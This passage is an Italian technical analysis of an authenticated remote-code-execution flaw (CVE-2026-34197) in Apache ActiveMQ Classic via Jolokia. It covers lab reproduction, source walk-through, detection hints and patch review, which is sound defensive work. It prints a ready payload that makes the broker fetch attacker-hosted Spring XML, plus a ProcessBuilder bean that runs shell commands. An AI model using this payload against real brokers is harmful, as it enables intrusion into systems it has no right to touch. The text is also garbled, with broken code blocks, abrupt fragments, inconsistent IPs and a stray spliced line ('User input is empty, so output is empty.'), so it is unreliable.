=> RCE riuscita, il file `blahblah.txt` è stato creato sul sistema di destinazione.

# Fase di Analisi
## Analisi Dinamica```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)

❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Verifica la connessione```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Poi grep per la catena pulita```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

Questa riga è critica perché conferma che l'URI controllato dall'attaccante fornito tramite:```java
BrokerView.addNetworkConnector(String)

Questo URI contiene due parti importanti:

| Componente       | Scopo                                                |
| --------------- | ---------------------------------------------------- |
| `static:(...)`  | Wrapper utilizzato dai connettori di discovery ActiveMQ |
| `vm://evil?...` | URI del transport VM elaborato internamente da ActiveMQ |

Il wrapper `static:(...)` stesso non è il componente vulnerabile. Il suo scopo è passare l'URI del transport racchiuso al sottosistema del connettore di rete di ActiveMQ.

Durante l'esecuzione runtime, ActiveMQ estraeva e processava l'URI del transport VM interno:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

Il parametro `brokerConfig=` è la parte critica del payload. Esso ha istruito il livello di trasporto VM a creare dinamicamente un'istanza del broker utilizzando una configurazione Spring xbean esterna caricata da:```text
http://192.168.1.32:9999/evil.xml

Di conseguenza, il documento XML remoto è stato analizzato e istanziato come contesto dell'applicazione Spring all'interno della JVM broker.

L'XML malevolo conteneva il seguente bean Spring:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Poiché Spring istanzia avidamente i bean singleton durante l'inizializzazione del contesto, il metodo `ProcessBuilder.start()` è stato eseguito prima che ActiveMQ convalidasse se la configurazione del broker stessa fosse sicura o valida.

Ciò ha comportato l'esecuzione arbitraria di comandi sul contenitore di destinazione.

Lo sfruttamento è stato verificato controllando la directory `/tmp` all'interno del contenitore di ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

Ciò dimostra che comandi arbitrari del sistema operativo sono stati eseguiti con successo nel contesto del container ActiveMQ. La traccia dello stack di runtime ha anche rivelato il percorso di esecuzione vulnerabile completo:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

Una delle osservazioni più importanti durante l'analisi dinamica è stata l'ordine con cui Spring e ActiveMQ hanno elaborato la configurazione dannosa. Dopo che il payload è stato eseguito con successo, ActiveMQ ha successivamente generato il seguente avviso:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Anche se la configurazione del broker stesso è stata infine rifiutata, il bean Spring malevolo era già stato istanziato ed eseguito.

Questo problema di ordinamento è il difetto logico alla base di CVE-2026-34197.

L'analisi dinamica ha identificato i seguenti componenti che partecipano alla catena di exploit:

| Componente                    | Ruolo                                        |
| ----------------------------- | -------------------------------------------- |
| Jolokia                       | Ponte HTTP-JMX                               |
| BrokerView                    | MBean di gestione esposto                    |
| VMTransportFactory            | Analizza l'URI di trasporto `vm://`          |
| BrokerFactory                 | Crea un'istanza del broker                   |
| XBeanBrokerFactory            | Carica la configurazione Spring xbean        |
| ResourceXmlApplicationContext | Carica XML remoto                             |
| XmlBeanDefinitionReader       | Analizza le definizioni dei bean Spring      |
| Spring BeanFactory            | Istanzia bean singleton                       |
| ProcessBuilder                | Esegue comandi del sistema operativo          |

L'analisi dinamica conferma che CVE-2026-34197 è causato dall'interazione tra:

* Operazioni di gestione Jolokia eccessivamente permissive
* URI di trasporto controllati dall'attaccante
* Auto-creazione del broker di trasporto VM
* Caricamento della configurazione remota Spring xbean
* Istanziazione eager di bean singleton prima della convalida

Di conseguenza, un attaccante autenticato può ottenere l'esecuzione arbitraria di codice sulla JVM di ActiveMQ fornendo un URI malevolo `brokerConfig=xbean:http://...` attraverso l'operazione `addNetworkConnector()` esposta da Jolokia.

### Panoramica dell'architettura

Apache ActiveMQ Classic espone un'interfaccia di gestione attraverso il ponte JMX-HTTP Jolokia disponibile all'indirizzo:```text id="n0vmrq"
/api/jolokia/

I seguenti componenti erano coinvolti nella catena di exploit:

| Component             | Funzione                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | Espone le operazioni JMX su HTTP             |
| BrokerView            | Interfaccia MBean di gestione                |
| VMTransportFactory    | Elabora gli URI di trasporto `vm://`         |
| BrokerFactory         | Crea dinamicamente broker                    |
| XBeanBrokerFactory    | Carica configurazioni Spring xbean           |
| Spring Context Loader | Analizza e istanzia definizioni di bean XML  |
| ProcessBuilder        | Esegue comandi del sistema operativo         |

L'architettura diventa vulnerabile perché ActiveMQ consente a utenti autenticati di invocare metodi pericolosi di gestione del broker con URI di trasporto controllati dall'attaccante.

---

### Analisi della Superficie d'Attacco

La superficie d'attacco principale è l'endpoint HTTP Jolokia esposto tramite la console web di ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/

L'endpoint Jolokia accettava richieste autenticate utilizzando l'autenticazione di base HTTP:```json id="13tzmx"
"authMode":"basic"

Questo metodo accetta un URI di trasporto controllato dall'utente senza limitare sufficientemente schemi URI pericolosi o parametri di configurazione.

L'attaccante ha fornito il seguente payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Il parametro critico è:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Spring ha quindi caricato il XML remoto tramite:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Durante l'inizializzazione del contesto applicativo Spring, i bean singleton vengono istanziati con eager loading. Di conseguenza, il metodo `ProcessBuilder.start()` è stato eseguito immediatamente.

Il difetto logico chiave è che l'istanziazione del bean Spring è avvenuta prima che ActiveMQ validasse se la configurazione del broker stessa fosse sicura o valida.

Questo comportamento è stato dimostrato dinamicamente perché:

1. Il payload malevolo ha creato con successo `/tmp/blahblah.txt`
2. ActiveMQ ha successivamente rifiutato la configurazione del broker con:```text id="6k1dwn"
The configuration has no BrokerService instance

attraverso:```text id="pt2n3d"
/api/jolokia/

Esempio di payload dannoso:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

Il traffico HTTP in uscita inaspettato dal broker JVM dovrebbe essere investigato.

#### Log di runtime sospetti

I seguenti messaggi di runtime sono sospetti:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

User input is empty, so output is empty.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

or suspicious child process execution from the ActiveMQ JVM may indicate exploitation.

---

### Analisi dell'impatto

Uno sfruttamento riuscito consente l'esecuzione remota di codice autenticata nel contesto della JVM di ActiveMQ.

Nell'ambiente analizzato, comandi arbitrari del sistema operativo sono stati eseguiti con successo all'interno del container:```bash id="2hyz0w"
touch /tmp/blahblah.txt

Il file è stato creato come:```text id="9phgkz"
Uid: (0/root)

#### Limitare l'accesso a Jolokia

Disabilitare Jolokia se non necessario.

Se Jolokia deve rimanere abilitato:

* Limitare l'accesso alle reti amministrative fidate
* Applicare l'autenticazione forte
* Disabilitare le operazioni exec pericolose
* Applicare policy di accesso restrittive a Jolokia

#### Rimuovere le Credenziali Predefinite

Non utilizzare:```text id="9mw1xv"
admin:admin

L'interfaccia MBean espone l'operazione come:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

L'oggetto connettore viene quindi configurato con l'URI del broker locale e aggiunto al broker:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

Per l'URI dell'exploit:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Il metodo vulnerabile è:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

L'opzione `create` è impostata di default a `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

Questo è il fallimento del confine di privilegio a livello di trasporto. Un URI fornito attraverso il piano di gestione viene valutato dal trasporto VM come un'istruzione per creare un broker da un URI di configurazione arbitrario. La restante validazione dei parametri avviene dopo la creazione del broker:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

Per `static:(...)`, `SimpleDiscoveryAgent.start()` emette immediatamente ogni servizio configurato:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

La ricerca del gestore è basata sullo schema:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

Flusso di chiamata statico esatto:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

a:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

`createBroker()` estrae la parte specifica dello schema dell'`xbean:` URI e crea un contesto applicativo Spring prima di verificare se contiene un broker:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

Le risorse remote sono accettate da `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

si riduce a:```text
http://192.168.1.32:9999/evil.xml

In XBean 4.25, `ResourceXmlApplicationContext` chiama `refresh()` dal suo costruttore:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

Il metodo `AbstractApplicationContext.refresh()` di Spring inizializza quindi il bean factory e istanzia i bean singleton non lazy:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

`DefaultListableBeanFactory.preInstantiateSingletons()` crea ogni bean non astratto, singleton, non lazy:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

Il metodo init personalizzato viene risolto dalla definizione del bean:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

Un bean Spring XML malevolo come:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

Ciò avviene prima che `XBeanBrokerFactory.createBroker()` convalidi il contesto risultante cercando un bean `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

La validazione avviene troppo tardi poiché l'unica validazione della configurazione del broker in `XBeanBrokerFactory` avviene dopo:```java
new ResourceXmlApplicationContext(resource)

Quando ActiveMQ determina che l'XML non ha un valido `BrokerService`, i bean Spring controllati dall'attaccante potrebbero già essere stati eseguiti.

---

### Analisi della Patch

Il diff pertinente è stato revisionato con:```bash
git diff activemq-5.18.6..activemq-5.19.4

In 5.18.6, `addNetworkConnector()` ha inoltrato direttamente la stringa:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

La stessa validazione è stata aggiunta a `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

Il percorso di esecuzione corretto diventa:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

La patch non rimuove il supporto del trasporto VM a livello globale. Limita l'uso di `vm://` attraverso i metodi di creazione del connettore `BrokerView` esposti a JMX. I percorsi di codice interni o attendibili che utilizzano il trasporto VM esistono ancora.

Non è stata apportata alcuna modifica rilevante per la sicurezza a `VMTransportFactory.doCompositeConnect()` tra 5.18.6 e 5.19.4. Il comportamento di `brokerConfig` rimane:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

Questa è una pulizia di type-safety, non la mitigazione RCE. Il dispatch basato su schema verso `XBeanBrokerFactory` rimane.

`BrokerService` ha ottenuto controlli `isAutoStart()` per l'avvio del connettore in alcuni percorsi:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

Lo sfruttamento è possibile perché ActiveMQ espone un'operazione di gestione che accetta un URI del connettore, ma l'implementazione del trasporto a valle può interpretare quell'URI come configurazione di creazione del broker. Il parametro `brokerConfig` passa dalla logica di connessione del trasporto alla logica della fabbrica del broker. Con un valore `xbean:`, passa nuovamente nell'elaborazione XML di Spring.

La primitiva di esecuzione di Spring non è un bug separato di deserializzazione. È un comportamento normale del ciclo di vita di Spring: un bean singleton non lazy viene istanziato durante l'aggiornamento del contesto e viene invocato il suo `init-method` configurato. Un bean `java.lang.ProcessBuilder` con `init-method="start"` esegue quindi un processo durante l'inizializzazione del contesto dell'applicazione.

Il fallimento della validazione è un difetto di ordinamento. ActiveMQ convalida se la configurazione XBean contiene un `BrokerService` utilizzabile solo dopo che `ResourceXmlApplicationContext` ha già caricato l'XML e inizializzato i bean singleton. Il rifiuto della configurazione del broker dopo l'aggiornamento non annulla gli effetti collaterali dei metodi del ciclo di vita dei bean.

La patch 5.19.4 mitiga questo percorso specifico aggiungendo la validazione dell'URI in `BrokerView` prima della creazione del connettore e rifiutando l'uso del trasporto `vm://` dalla superficie di gestione JMX. La patch blocca il percorso esposto verso `VMTransportFactory.doCompositeConnect()`; non rimuove `brokerConfig`, il supporto `xbean:` o il caricamento di Spring XBean da percorsi di configurazione interna affidabili.